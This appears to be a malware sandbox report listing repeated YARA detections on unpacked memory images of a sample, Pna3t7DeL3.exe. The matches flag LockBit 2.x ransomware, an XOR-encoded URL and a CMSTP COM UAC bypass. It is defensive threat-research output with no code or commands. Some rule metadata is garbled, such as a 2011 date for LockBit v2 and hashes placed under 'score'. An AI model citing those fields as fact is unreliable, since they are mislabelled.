Source: 10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 26.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 26.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 26.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 26.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 26.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 34.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 34.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 34.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 34.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 34.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 10.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 10.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 10.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 10.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 10.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 0.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 0.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 0.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
